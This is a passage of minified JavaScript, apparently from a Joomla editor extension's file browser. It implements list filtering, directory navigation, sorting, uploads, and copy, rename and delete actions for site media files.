later=function(){timeout=null,immediate||(result=func.apply(context,args))},callNow=immediate&&!timeout,clearTimeout(timeout),timeout=setTimeout(later,wait),callNow&&(result=func.apply(context,args)),result}}var specialKeyCodeMap={9:"tab",17:"ctrl",18:"alt",27:"esc",37:"left",39:"right",13:"enter",38:"up",40:"down",91:"cmd"};$.fn.listfilter=function(options){function toUnicode(s){for(var str="",i=0,ln=s.length;i<ln;i++){var ch=s[i];/[^\w\.\-~\s \/]/i.test(ch)&&(ch="\\u"+ch.charCodeAt(0)),str+=ch}return str}function filter(s){var v,x=[];"."===s.charAt(0)?(v=s.substr(1),matcher=new RegExp(".("+escapeRegExChars(v)+"[a-z0-9]*)$","i")):(s=toUnicode(s),matcher=new RegExp(escapeRegExChars(s),"ui")),/[\u0000-\u1FFF\.\-~\s ]/i.test(s)?$(options.selector,options.list).each(function(){var match=!1,title=$(this).attr("title");if(title=toUnicode(title),match=matcher.test(title))$.inArray(this,x)===-1&&x.push(this);else{var i=$.inArray(this,x);i!==-1&&x.splice(i,1)}}):x=[],x&&x.length?($(options.selector,options.list).show().not(x).hide(),scroll(x[0])):reset(),$(el).trigger("listfilter:found",[null,x])}function scroll(el){var pos=$(el).position(),top=$(options.list).scrollTop();$(options.list).css("overflow","hidden").animate({scrollTop:pos.top+top},1e3,function(){$(options.list).css("overflow","auto")})}function reset(){$(options.selector,options.list).show(),scroll($(options.selector,options.list).first())}options=$.extend({list:null,items:null,clear:null,sort:null,hide:!1,filter:null},options);var el=this,x=[];$(options.clear).on("click.listfilter",function(e){reset(),$(el).val(""),x=[],$(el).trigger("listfilter:found",[e,x])}),$(el).on("listfilter:filter",function(e,s){filter(s)});var keyup=debounce(function(e){if(!e.keyCode||!specialKeyCodeMap[e.keyCode]){var v=$(el).val();defer(function(){return""===v?void $(options.clear).trigger("click.listfilter"):(e.stopImmediatePropagation(),void(1!==v.length&&$(el).trigger("listfilter:find",[v])))})}},300);return $(el).on("keyup.listfilter paste.listfilter cut.listfilter",keyup),this}}(jQuery),function($,Wf,undef){function getMimeType(ext){return ext=ext.toLowerCase(),ext=$.trim(ext),mimeTypes[ext]||ext}var mimeTypes={};!function(data){var i,y,ext,items=data.split(",");for(i=0;i<items.length;i+=2)for(ext=items[i+1].split("|"),y=0;y<ext.length;y++)mimeTypes[ext[y]]=items[i]}("video,flv|mp4|m4v|webm|ogg|ogv|mov|wmv|avi,audio,mp3|ogg|oga|webm|m4a,image,jpg|jpeg|png|gif|png|svg|bmp|tiff,text,txt|htm|html,word,doc|docx|dot|dotx,excel,xls|xlsx,powerpoint,ppt|pptx,zip,rar|zip|tar|gz,code,html|htm|xml,text,txt|rtf|csv");var scrollEvents=(function(){function s4(){return Math.floor(65536*(1+Math.random())).toString(16).substring(1)}return function(){return s4()+s4()+"-"+s4()+"-"+s4()+"-"+s4()+"-"+s4()+s4()+s4()}}(),"click.scroll mousedown.scroll wheel.scroll mousewheel.scroll keyup.scroll touchmove.scroll"),FileBrowser=function(element,options){this.element=element,$.extend(this,{_actions:{},_buttons:{folder:{},file:{}},_modal:[],_returnedItems:[],_pasteitems:"",_pasteaction:"",_limitcount:0,_limitend:0}),this.options=FileBrowser.options,this.setOptions(options),this._init()};FileBrowser.options={base:"",dir:"images",actions:null,buttons:null,folder_tree:!0,details:!0,search:!0,upload:{max_size:1024,filetypes:"*",overwrite:!0,limit:0,dialog:{},elements:null,buttons:{}},folder_new:{dialog:null},rename:{dialog:null},viewable:"jpeg,jpg,gif,png,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx",list_limit:"all",view_mode:"list",expandable:!0,websafe_mode:"utf-8",websafe_spaces:!1,websafe_textcase:"",date_format:"%d/%m/%Y, %H:%M",allow_download:!1},FileBrowser.prototype={_trigger:function(ev,args){$(this.element).trigger("filebrowser:"+ev.toLowerCase(),args)},setOptions:function(options){this.options=$.extend(this.options,options)},getOptions:function(){return this.options},_init:function(options){var self=this;this.options=$.extend(this.options,options),$.each(this.options,function(k,v){"function"==typeof v&&($(self.element).on("filebrowser:"+k.toLowerCase(),v),delete self.options[k])}),this._addActions(this.options.actions),this._addButtons(this.options.buttons);var list=document.createElement("ul");$(list).addClass("item-list").attr({id:"item-list",role:"listbox"}).bind("click.item-list",function(e){var n=e.target,p=n.parentNode;if($(n).is(".uk-icon, span, a, img")&&(n=$(n).parents("li").get(0),p=n.parentNode,e.preventDefault()),"LI"===n.nodeName){if($(n).hasClass("folder")){var u=$(n).data("url")||self._getPreviousDir();return self._changeDir(u);
}e.target=n,self._setSelectedItems(e,!0);var data=self._serializeItemData(n);return self._trigger("onFileClick",[n,data]),!0}if("INPUT"===n.nodeName)return $(n).is(":checked")?(e.target=n,self._setSelectedItems(e,!0)):self._removeSelectedItems([p.parentNode],!0),!0}).bind("dblclick.item-list",function(e){return e.preventDefault(),!1}).bind("keydown.item-list",function(e){switch(e.which){case 13:if(n=$("li.selected:last","#item-list").get(0),!n)return;if($(n).hasClass("folder")){var u=$(p).data("url")||self._getPreviousDir();return self._changeDir(u)}self._setSelectedItems(e,!0);var data=self._serializeItemData(n);self._trigger("onFileClick",[n,data]);break;case 38:case 40:self._setSelectedItems(e)}e.preventDefault()}),$("#browser-list").append(list).bind("scroll.browser-list",function(e){self._updateList()}),$(".details-nav-left, .details-nav-right","#browser-details-nav").click(function(e){var $item=$("li.selected.active","#item-list").removeClass("active");$(this).hasClass("details-nav-left")&&$item.prevAll("li.selected:first").addClass("active"),$(this).hasClass("details-nav-right")&&$item.nextAll("li.selected:first").addClass("active"),e.preventDefault(),self._showItemDetails()}),$("#browser-list-limit-select").val(Wf.Cookie.get("wf_"+Wf.getName()+"_limit")||this.options.list_limit),$("#browser-list-limit-select").change(function(){self._limitcount=0,Wf.Cookie.set("wf_"+Wf.getName()+"_limit",$(this).val()),self.refresh()}),$("ul li","#browser-list-limit").click(function(e){e.preventDefault();var x=0,count=self._limitcount,limit=parseInt(self._limit);$(this).hasClass("limit-left")&&(x=count-limit),$(this).hasClass("limit-right")&&(x=count+limit),$(this).hasClass("limit-right-end")&&(x=count=self._limitend),self._limitcount=x,self.refresh()}),$('input[type="checkbox"]',"#check-all").click(function(e){var el=e.target,s=$(el).is(":checked");$('input[type="checkbox"]',"#browser-list").prop("checked",!!s),s?self._selectItems(null,$("li","#browser-list").not(".folder-up"),!0):self._deselectItems()}),this._setupListSort(),$("#block-search-icon").toggle(this.options.search),$("#show-details").toggle(this._treeLoaded()),$("#show-search").click(function(){$("#searchbox").toggleClass("uk-hidden").attr("aria-hidden",function(){return $(this).hasClass("uk-hidden")}),$(this).toggleClass("uk-active"),$(this).hasClass("uk-active")&&$("#search").focus()}),$("#search + .uk-icon").click(function(){$("#search").focus()}),$("body").click(function(e){$("#searchbox").hasClass("uk-hidden")||$(e.target).is("#searchbox, #search, #show-search, #show-search .uk-icon-search, #search + .uk-icon")||($("#show-search").removeClass("uk-active"),$("#searchbox").addClass("uk-hidden").attr("aria-hidden",!0))}),$("#search").listfilter({list:"#item-list",selector:"li",clear:"#search + .uk-icon"}).on("listfilter:find",function(ev,s){var el=this,limit=$("#browser-list-limit-select").val(),limit=$("#browser-list-limit-select").val(),count=self._foldercount+self._filecount;if("all"===limit||parseInt(limit)>count)return $(this).trigger("listfilter:filter",s);if(s){var prefix="";if("."===s.charAt(0)&&(s=s.substr(1),prefix="."),!self._isWebSafe(s))return void self.refresh();self._setLoader(),$("#browser-list").one("load.filter",function(){$(el).trigger("listfilter:found",[null,$("li.file","#item-list").get()])}),self._getList("",prefix+s)}else self.refresh();return!0}).on("listfilter:found",function(ev,e,items){if(e){if("all"===$("#browser-list-limit-select").val())return;self.refresh()}return!0}),$("#refresh").click(function(e){self.refresh(e)});var showDetails=Wf.Cookie.get("wf_"+Wf.getName()+"_details");parseInt(showDetails)||!this._treeLoaded()?($("#show-details").removeClass("uk-active"),$("main").addClass("uk-tree-hidden")):($("#show-details").addClass("uk-active"),$("main").removeClass("uk-tree-hidden")),$("#show-details:visible").click(function(e){$(this).toggleClass("uk-active"),$("main").toggleClass("uk-tree-hidden"),Wf.Cookie.set("wf_"+Wf.getName()+"_details",$("main").hasClass("uk-tree-hidden")?1:0)}),this.options.expandable&&($("#browser").addClass("expandable"),$("#layout-full-toggle").click(function(){$("#browser").toggleClass("full-height"),self._trigger($("#browser").hasClass("full-height")?"onMaximise":"onMinimise")})),!$.support.cssFloat&&document.querySelector&&setTimeout(function(){var ph=$("main","#browser").height();$("#browser-list, #browser-tree, #browser-details-container","#browser").each(function(){var self=this,m=0;$(this).siblings().each(function(){var h=$(this).outerHeight(!0);m+=parseInt(h)}),$.each(["top","bottom"],function(i,k){var v=$(self).css("padding-"+k);m+=parseInt(v)}),$(this).height(ph-m)})},0),$("#browser-list").on(scrollEvents,function(){$(this).stop()}),this._setupDir(),this._trigger("onInit",this)},_updateList:function(){var self=this,area=$("#browser-list").height()+$("#browser-list").scrollTop();$(".file.jpg, .file.jpeg, .file.png, .file.gif, .file.bmp","#item-list").not("[data-width]").each(function(){var pos=$(this).position();pos.top<area&&self._getDimensions(this)})},_getInterfaceHeight:function(){var ih=Math.max(0,Math.round($("#browser").offset().top)-5),p=$("#browser").parent("form");return $(p).next(":not(div.actionPanel)").length&&(ih=Math.round($("div.actionPanel").offset().top)-10-$("#browser").innerHeight()),ih},resize:function(ih,init){},_translate:function(s,ds){return Wf.translate(s,ds)},_setupListSort:function(){var self=this;this._sortValue=Wf.Cookie.get("wf_"+Wf.getName()+"_sort",""),$("#sort-ext, #sort-name, #sort-date, #sort-size").click(function(){$(this).siblings(".asc, .desc").removeClass("desc").addClass("asc");var direction="";$(this).hasClass("asc")?($(this).removeClass("asc").addClass("desc"),direction="-"):($(this).removeClass("desc").addClass("asc"),direction="");var type=$(this).data("sort");self._sortValue=direction+type,Wf.Cookie.set("wf_"+Wf.getName()+"_sort",self._sortValue),self.refresh()}).addClass(function(){return this.id.indexOf(self._sortValue)===-1?"asc":self._sortValue&&"-"===self._sortValue.charAt(0)?"desc":"asc"})},_validatePath:function(s){function _toUnicode(c){for(c=c.toString(16).toUpperCase();c.length<4;)c="0"+c;return"\\u"+c}if(/\.{2,}/.test(s)||/:\/\//.test(s)&&s.indexOf(Wf.getURI(!0))==-1)return!1;if(/:\/\//.test(s)&&(s=Wf.URL.toRelative(s)),/[^\w\.\-~\s \/]/i.test(s))for(var i=0,ln=s.length;i<ln;i++){var ch=s[i];if(/[^\w\.\-~\s \/]/i.test(ch)&&_toUnicode(ch.charCodeAt(0))<"\\u007F")return!1}return!0},_cleanPath:function(path){return path&&(new RegExp("://").test(path)&&(path=Wf.URL.toRelative(path)),path=this._trimPath(path),/\.([a-z0-9]{2,}$)/i.test(path)&&(path=Wf.String.dirname(path),path=path.replace(new RegExp(this.options.dir),"").replace(/^[\/\\]+/,""))),path},_setupDir:function(){var dir="",src=$(this.element).val(),base=this.options.base;src&&base&&0===src.indexOf(base)&&(src=src.substr(base.length+1)),src=src.replace(/(&amp;|\?)/g,"&"),src.indexOf("&")!==-1&&(src=src.substr(0,src.indexOf("&"))),src=this._trimPath(src),this._validatePath(src)||(src=""),src||(dir=Wf.Cookie.get("wf_"+Wf.getName()+"_dir")||""),this._validatePath(dir)||(dir=""),this._setDir(Wf.String.encodeURI(dir)),src&&/:\/\//.test(src)&&(src=Wf.URL.toRelative(src)),this.setStatus({message:this._translate("loading","Loading..."),state:"load"}),this._treeLoaded()?this._createTree(src):this._getList(src)},_toggleTree:function(s){$("#browser").toggleClass("full-width",!s),$("div.layout-left","#browser").attr("aria-hidden",!s),$("#sort-size, #sort-date").attr("aria-hidden",s),$("span.size, span.date","#item-list").attr("aria-hidden",s)},_isWebSafe:function(name){var safe=Wf.String.safe(name,this.options.websafe_mode,this.options.websafe_spaces,this.options.websafe_textcase);return name.toLowerCase()===safe.toLowerCase()},_isViewable:function(name){var button=this._getButton("file","view"),viewable=this.options.viewable;return button&&button.restrict&&(viewable=button.restrict),new RegExp("\\.("+viewable.replace(/,/g,"|")+")$","i").test(name)},_buildList:function(o){var self=this,h="";$("#item-list").empty(),this._isRoot()||(h+='<li class="folder folder-up" title="Up"><span class="uk-width-0-10"></span><i class="uk-width-1-10 uk-icon uk-icon-arrow-circle-left uk-icon-folder-up"></i><a class="uk-flex-item-auto" href="#">...</a></li>'),o.folders.length&&$.each(o.folders,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){""!==v&&data.push("data-"+k+'="'+v+'"')}),data.push('data-url="'+(e.url||e.id)+'"'),classes.push(self._isWebSafe(e.name)?"safe":"notsafe"),classes.push(e.writable?"writable":"notwritable"),e.classes&&classes.push(e.classes),h+='<li class="uk-grid uk-grid-collapse uk-flex folder '+classes.join(" ")+'" title="'+e.name+'"'+data.join(" ")+'><label class="uk-width-0-10 uk-item-checkbox"><input type="checkbox" /></label><i class="uk-width-1-10 uk-icon uk-icon-folder folder"></i><a class="uk-width-1-4 uk-padding-remove uk-flex-item-auto uk-text-truncate" href="#">'+e.name+'</a><span class="uk-width-5-10 uk-item-date">'+Wf.String.formatDate(e.properties.modified,self.options.date_format)+"</span></li>"}),o.total.files&&$.each(o.files,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){""!==v&&data.push("data-"+k+'="'+v+'"')}),e.url&&data.push('data-url="'+e.url+'"'),data.push('id="'+e.id+'"'),classes.push(self._isWebSafe(e.name)?"safe":"notsafe"),classes.push(e.writable?"writable":"notwritable"),e.selected&&self._addReturnedItem({name:e.id}),e.classes&&classes.push(e.classes);var ext=Wf.String.getExt(e.name),name=Wf.String.stripExt(e.name),icon=ext.toLowerCase();h+='<li class="uk-grid uk-grid-collapse uk-flex file '+ext.toLowerCase()+" "+classes.join(" ")+'" title="'+e.name+'"'+data.join(" ")+">",h+='  <label class="uk-width-0-10 uk-item-checkbox"><input type="checkbox" /></label>',h+='  <i class="uk-width-1-10 uk-icon uk-icon-file-o uk-icon-file-'+getMimeType(icon)+"-o file "+icon+'"></i>',h+='  <a class="uk-width-1-4 uk-padding-remove uk-flex-item-auto" href="#">',h+='      <span class="uk-item-text uk-text-truncate uk-display-inline-block">'+name+"</span>",h+='      <span class="uk-item-extension uk-display-inline-block">.'+ext+"</span>",h+="  </a>",h+='  <span class="uk-width-2-10 uk-item-date">'+Wf.String.formatDate(e.properties.modified,self.options.date_format)+"</span>",h+='  <span class="uk-width-3-10 uk-item-size">'+Wf.String.formatSize(e.properties.size)+"</span>",h+="</li>"}),$("#item-list").html(h),this._showListDetails()},_showListDetails:function(){var s=!$(".layout-icon","#show-details").hasClass("tree")&&this._treeLoaded();this._toggleTree(s)},_treeLoaded:function(){return this.options.folder_tree&&"function"==typeof $.fn.tree},_trimPath:function(path){return path=""+path,path.replace(/^\//,"").replace(/\/$/,"")},_createTree:function(src){var self=this,path=src||this._dir;path=this._cleanPath(path),$("#tree-body").on("tree:init",function(e,callback){Wf.JSON.request("getTree",path,function(o){$("#tree-body").html(o),"function"==typeof callback&&callback(),path&&path!==self._trimPath(self.options.dir)&&$("#tree-body").trigger("tree:scroll",path),self._getList(src)})}).on("tree:nodeclick",function(e,node){self._changeDir($(node).attr("data-id"))}).on("tree:nodeload",function(e,node){$("#tree-body").trigger("tree:toggleloader",node),Wf.JSON.request("getTreeItem",$(node).attr("data-id"),function(o){o&&!o.error&&($("ul:first",node).remove(),$("#tree-body").trigger("tree:createnode",[o.folders,node]),$("#tree-body").trigger("tree:togglenodestate",[node,!0])),$("#tree-body").trigger("tree:toggleloader",node)},this)}).tree()},_reset:function(){this._deselectItems(),this._returnedItems=[],$('input[type="checkbox"]',"#check-all").prop("checked",!1),$("li","#browser-details-nav").addClass("uk-invisible").attr("aria-hidden",!0).filter(".details-nav-text").empty()},_clearPaste:function(){this._pasteaction="",this._pasteitems="",this._hideButtons($(".paste","#buttons"))},setStatus:function(o){$("#browser-message").removeClass("load error"),$("#browser-message").addClass(o.state),$(".message","#browser-message").html(o.message)},_setMessage:function(message,classname){return!0},_setLoader:function(){this.setStatus({message:this._translate("message_load","Loading..."),state:"load"})},_resetMessage:function(){return!0},_resetStatus:function(){var self=this,dir=decodeURIComponent(this._dir),$status=$("#browser-message");this.setStatus({message:"",state:""});var $pathway=$(".uk-breadcrumb.pathway",$status);$("li",$pathway).not(":first").remove();var sw=$status.width();$("li:first",$pathway).click(function(){self._changeDir("/")}),dir=$.trim(this._trimPath(dir));var $count=$('<li class="count">( '+this._foldercount+" "+this._translate("folders","folders")+", "+this._filecount+" "+this._translate("files","files")+")</li>").appendTo($pathway),w=bw=$pathway.outerWidth(!0);if(dir){var x=1,parts=dir.split("/");$.each(parts,function(i,s){var path=s;i>0&&(path=parts.slice(0,i+1).join("/"));var $item=$('<li title="'+s+'" />').click(function(e){self._changeDir(path)}).append("<a>"+s+"</a>").insertBefore($count);w+=$item.outerWidth(!0),w>sw&&$("li",$pathway).eq(x++).addClass("uk-breadcrumb-truncate")})}},_getPreviousDir:function(){if(this._dir.length<2)return this._dir;for(var dirs=this._dir.split("/"),s="",i=0;i<dirs.length-1;i++)s=Wf.String.path(s,dirs[i]);return s},_addReturnedItem:function(items){"array"==$.type(items)?$.merge(this._returnedItems,items):this._returnedItems.push(items)},_returnFile:function(file){this._addReturnedItem({name:Wf.String.basename(file)}),this._changeDir(Wf.String.dirname(file))},_setDir:function(dir){this._dir=""+dir},getBaseDir:function(){return this.options.dir},getCurrentDir:function(){return this._dir},_isRoot:function(){var s=this._dir;return s=this._trimPath(s),""===s},_changeDir:function(dir){this._reset(),this._limitcount=0,this._setDir(dir),this._setLoader(),this._getList(dir)},_getList:function(src,filter){var path=src||this._dir;(src||""===this._dir)&&Wf.Cookie.set("wf_"+Wf.getName()+"_dir",this._cleanPath(path)),this._hideButtons($(".button","#buttons")),this._limit=$("#browser-list-limit-select").val()||this.options.list_limit;var sort=this._sortValue||"";Wf.JSON.request("getItems",[path,this._limit,this._limitcount,filter||"",sort],this._loadList,this)},refresh:function(e){this._reset(),this._setLoader(),e&&$("form").append('<input type="hidden" name="refresh" value="1" />'),this._getList()},load:function(item){var src="";item&&(this._addReturnedItem(item),src=item.name||item),this._setLoader(),this._getList(src)},error:function(error){this._raiseError(error)},startUpload:function(){$("#upload-queue").uploader("start")},stopUpload:function(){$("#upload-queue").uploader("stop")},setUploadStatus:function(o){$("#upload-queue").uploader("setStatus",o)},_loadList:function(o){var dir="";if($('input[name="refresh"]',"form").remove(),!o)return this.setStatus({message:"",state:""}),!1;$.support.cssFloat||$("#browser-list").attr("unselectable","on"),this._foldercount=o.total.folders,this._filecount=o.total.files,this._limitend=o.total.folders+o.total.files-this._limit;var count=this._limitcount+o.folders.length+o.files.length;count<o.total.folders+o.total.files?$(".limit-right li","#browser-list-limit").removeClass("uk-invisible").attr("aria-hidden",!1):$(".limit-right li","#browser-list-limit").addClass("uk-invisible").attr("aria-hidden",!0),count-this._limit>0?$(".limit-left li","#browser-list-limit").removeClass("uk-invisible").attr("aria-hidden",!1):$(".limit-left li","#browser-list-limit").addClass("uk-invisible").attr("aria-hidden",!0),o.folders.length?dir=Wf.String.encodeURI(Wf.String.dirname(o.folders[0].id)||"/",!0):o.files.length&&(dir=Wf.String.encodeURI(Wf.String.dirname(o.files[0].id)||"/",!0)),dir&&this._setDir(dir),this._isRoot()||($("#folder-list").append('<li class="folder-up" title="Up"><a href="javascript:;>...</a></li>'),this._treeLoaded()&&($("#tree-body").trigger("tree:createnode",[o.folders,this._dir]),$("#tree-body").trigger("tree:scroll",this._dir))),this._trigger("onBeforeBuildList",null,o),this._buildList(o),this._trigger("onAfterBuildList",null,o),this._returnedItems.length&&(this._findItem(this._returnedItems),this._returnedItems=[]),this._pasteitems&&this._showPasteButton(),$("#browser-list").trigger("load"),this._resetStatus(),this._resetMessage(),this._trigger("onListComplete")},_getDialogOptions:function(dialog){var options=this.options[dialog],elements="";if(options&&options.elements){if(!$.isPlainObject(options.elements))return options.elements;$.each(options.elements,function(k,v){v.options?(elements+='<div class="uk-form-row">',elements+='<label class="uk-form-label uk-width-1-5" for="'+k+'">'+(v.label||k)+"</label>",elements+='<div class="uk-form-controls uk-width-4-5"><select id="'+k+'" name="'+k+'">',$.each(v.options,function(value,name){var selected="";v.default&&value===v.default&&(selected=" selected"),elements+='<option value="'+value+'"'+selected+">"+name+"</option>"}),elements+="</select></div>",elements+="</div>"):elements+='<div class="uk-form-row"><label class="uk-form-label uk-width-1-5" for="'+k+'">'+v.label||k+'</label><div class="uk-form-controls uk-width-4-5"><input id="'+k+'" type="text" name="'+k+'" value="'+v.value||'" /></div></div>'})}return elements},_execute:function(name){function callback(o,dir){if(o.folders.length&&self._treeLoaded()){$.each(items,function(i,item){"moveItem"==fn&&$("#tree-body").trigger("tree:removenode",[item])});var folders=$.map(o.folders,function(item,i){return{id:item,name:Wf.String.basename(item)}});$("#tree-body").trigger("tree:createnode",[folders,dir])}self._trigger("onPaste")}var self=this,dir=this._dir;dir=this._trimPath(dir);var list=this._serializeSelectedItems(),site=Wf.getURI(!0);switch(name){case"help":Wf.help();break;case"insert":this._trigger("onFileInsert",null,$("li.selected","#item-list").get(0));break;case"view":var $item=$("li.selected.active:first","#item-list"),url=$item.data("url");url=/http(s)?:\/\//.test(url)?url:Wf.String.path(site,url),$item.data("preview")&&(url=$item.data("preview"));var name=Wf.String.basename($item.attr("title"));this._isViewable(name)&&(/\.(jpeg|jpg|gif|png|avi|wmv|wm|asf|asx|wmx|wvx|mov|qt|mpg|mp3|mp4|m4v|mpeg|ogg|ogv|webm|swf|flv|f4v|xml|dcr|rm|ra|ram|divx|pdf)/i.test(name)?Wf.Modal.media(name,url):Wf.Modal.iframe(name,url,{onFrameLoad:function(e){function toRelative(s){return s=Wf.URL.toRelative(s),s.replace(/^administrator\//,"")}var iframe=$("div.iframe-preview iframe").get(0),h=iframe.contentWindow.document.body.innerHTML,tmpDiv=document.createElement("div");$(tmpDiv).html(h),$("img, embed",$(tmpDiv)).each(function(){var s=toRelative($(this).attr("src"));/http(s)?:\/\//.test(s)||(s=Wf.String.path(site,s)),$(this).attr("src",s)}),$("a, area",$(tmpDiv)).each(function(){var s=toRelative($(this).attr("href"));/http(s)?:\/\//.test(s)||(s=Wf.String.path(site,s)),$(this).attr("href",s)}),$("object",$(tmpDiv)).each(function(){$("param[name=movie], param[name=src]",this).each(function(){var s=toRelative($(this).attr("value"));/http(s)?:\/\//.test(s)||(s=string.path(site,s)),$(this).attr("value",s)})}),iframe.contentWindow.document.body.innerHTML=tmpDiv.innerHTML}}));break;case"upload":var uploadModal=Wf.Modal.upload($.extend({elements:this._getDialogOptions("upload"),open:function(){function _checkName(file){var found=!1,msg=self._translate("file_exists_alert","A file with the same name exists in the target folder."),name=Wf.String.safe(file.name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);$("li","file-list").each(function(){name==$(this).attr("title")&&(found=!0)});var el=file.element,span=$("span.queue-name:first",el);return found?$(el).hasClass("exists")||($(el).addClass("exists"),$(span).attr("title",name+"::"+msg),$(span).tips()):$(el).hasClass("exists")&&($(el).removeClass("exists"),$(span).attr("title",name)),!0}$("#upload-queue").uploader($.extend({url:document.location.href,field:$('input[type="file"]:first'),websafe_mode:self.options.websafe_mode,websafe_spaces:self.options.websafe_spaces,websafe_textcase:self.options.websafe_textcase},self.options.upload)).on("uploadwidget:filerename",function(e,file){return _checkName(file)}).on("uploadwidget:filecomplete",function(e,file,item){self._addReturnedItem(item),self._trigger("onUploadFile",null,file)}).on("uploadwidget:uploadstart",function(e,file){file.data=$(":input:enabled",file.element).serializeArray(),$(":input:enabled",file.element).prop("disabled",!0)}).on("uploadwidget:uploadcomplete",function(e,errors){$("#upload-submit").disabled=!1,errors||(self._getList(),window.setTimeout(function(){$(uploadModal).trigger("modal.close")},1e3),self._trigger("onUploadComplete"))}),self._trigger("onUploadOpen")},upload:function(){var fields=$.merge($("form > :input:enabled").serializeArray(),$(":input:enabled","#upload-options").serializeArray());return fields.push({name:"upload-dir",value:dir}),self._trigger("onUpload",null,[fields]),$("#upload-queue").trigger("uploadwidget:upload",[fields]),!1},close:function(){$("#upload-queue").trigger("uploadwidget:close")}},self.options.upload.dialog));break;case"folder_new":var elements=this._getDialogOptions("folder_new");Wf.Modal.prompt(self._translate("folder_new","New Folder"),function(v,args){v&&(self._setLoader(),v=Wf.String.safe(v,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase),args=[dir,v].concat(args||[]),Wf.JSON.request("folderNew",args,function(o){o&&($("#tree-body").trigger("tree:createnode",[o.folders,dir]),self._trigger("onFolderNew")),self.refresh()}))},{elements:elements});break;case"copy":case"cut":this._pasteaction=name,this._pasteitems=list,this._showPasteButton();break;case"paste":var fn="copy"==this._pasteaction?"copyItem":"moveItem";this._setLoader();var items=this._pasteitems.split(",");$.each(items,function(i,item){var complete=i===items.length-1;Wf.JSON.request(fn,[item,dir],function(o){o&&(o.confirm?Wf.Modal.confirm(self._translate("paste_item_confirm","An item with the same name already exists in this folder. Do you want to replace it with the one you’re pasting?"),function(state){state&&(self._setLoader(),Wf.JSON.request(fn,[item,dir,!0],function(o){callback(o,dir)})),complete&&(self._clearPaste(),self.refresh())},{label:{confirm:self._translate("replace","Replace"),cancel:self._translate("cancel","Cancel")},header:!1}):(callback(o,dir),complete&&(self._clearPaste(),self.refresh())))})});break;case"delete":var msg=self._translate("delete_item_alert","Delete Selected Item(s)");Wf.Modal.confirm(msg,function(state){state&&(self._setLoader(),Wf.JSON.request("deleteItem",list,function(o){o&&(o.folders.length&&(self._treeLoaded()&&$.each(o.folders,function(i,item){$("#tree-body").trigger("tree:removenode",[item])}),self._trigger("onFolderDelete",null,o.folders)),o.files.length&&self._trigger("onFileDelete",null,o.files)),self.refresh()}))},{label:{confirm:self._translate("delete","Delete")},header:!1});break;case"rename":var s=this.getSelectedItems(0),v=Wf.String.basename(list);$(s).hasClass("file")&&(v=Wf.String.basename(Wf.String.stripExt(list)));var rename=Wf.Modal.prompt("Rename",function(name,args){return name=Wf.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase),v===name?(Wf.Modal.alert(self._translate("rename_item_name_new","Please specify a new name for the item")),!1):void Wf.Modal.confirm(self._translate("rename_item_alert","Renaming files/folders will break existing links. Continue?"),function(state){state?(self._setLoader(),args=[list,name].concat(args||[]),Wf.JSON.request("renameItem",args,function(o){if(o){self._reset();var item=Wf.String.path(self._dir,name);o.folders.length&&(self._treeLoaded()&&$("#tree-body").trigger("tree:renamenode",[list,item]),self._trigger("onFolderRename",null,list,item)),o.files.length&&self._trigger("onFileDelete",null,item),item&&self._addReturnedItem({name:item})}self.refresh()}),$(rename).trigger("modal.close")):$(rename).trigger("modal.close")})},{value:v,header:!1,label:{confirm:self._translate("rename","Rename")},elements:this._getDialogOptions("rename"),close_on_submit:!1})}},_raiseError:function(error){var self=this,err="";switch($.type(error)){case"array":err+='<ul class="error-list">',$.each(error,function(k,v){err+="<li>"+v+"</li>"}),err+="</ul>";break;case"string":default:err=error}this._dialog.alert=Wf.Modal.alert(err,{close:function(){self.refresh()}})},_addActions:function(actions){var self=this;$.each(actions,function(i,action){self._addAction(action)})},_addAction:function(o){var self=this,name=o.name||"",fn=this._execute;o.action&&(fn=o.action);var map={folder_new:"folder",upload:"cloud-upload",help:"question-circle"},cls=name.replace(/_/g,"-"),action=document.createElement("a");if($(action).addClass("action uk-button"),name){$(action).attr({role:"button",id:name,title:o.title,labelledby:name+"_label"}).addClass(cls).append('<span id="'+name+'_label" class="uk-hidden-mini">&nbsp;'+o.title+"</span>");var icon=map[name]||name;$.each(icon.split(" "),function(i,k){$(action).prepend('<i class="uk-icon uk-icon-medium uk-icon-'+cls+" uk-icon-"+k+'" />')}),icon.indexOf(" ")>=0&&($(".uk-icon",action).first().addClass("uk-icon-stack uk-text-contrast").removeClass("uk-icon-medium"),$('<span class="uk-stack uk-stack-medium" />').prependTo(action).append($(".uk-icon",action))),o.name&&$(action).click(function(e){return e.preventDefault(),"function"==$.type(fn)?fn.call(self,name):self._trigger(fn,name)}),this._actions[name]=action}$("#browser-actions").append(action)},_getAction:function(name){return this._actions[name]},_addButtons:function(buttons){var self=this;buttons&&(buttons.folder&&$.each(buttons.folder,function(i,button){button&&self._addButton(button,"folder")}),buttons.file&&$.each(buttons.file,function(i,button){button&&self._addButton(button,"file")}))},_addButton:function(o,type){var self=this,fn=(this.options.dialog,this._execute);o.action&&(fn=o.action);var map={delete:"trash",cut:"cut",copy:"copy",paste:"paste",rename:"pencil-square-o",preview:"eye",view:"eye","image-editor":"crop"},button=$("a."+o.name,$("#browser-buttons"));if(!button.length){button=document.createElement("a"),$(button).attr({title:o.title,role:"button","aria-labelledby":o.name+"_label"}).append('<label for="'+o.name+'" aria-hidden="true">'+o.title+"</label>");var name=o.name.replace(/_/g,"-");if(o.icon){var icons=o.icon.split(" ");$.each(icons,function(i,icon){$(button).append('<i class="uk-icon uk-icon-'+(map[icon]||icon)+'" />')}),icons.length>1&&$('<span class="uk-stack" />').append($(".uk-icon",button)).appendTo(button)}else $(button).prepend('<i class="uk-icon uk-icon-'+(map[name]||name)+'" />');name&&$(button).click(function(){if($("li.selected","#item-list").length||self._pasteitems)return o.sticky&&$(button).toggleClass("uk-active"),"function"==$.type(fn)?fn.call(self,name,type):self._trigger(fn,type)}),$("#browser-buttons").append(button),$(button).addClass("uk-button uk-button-link button "+o.name+" 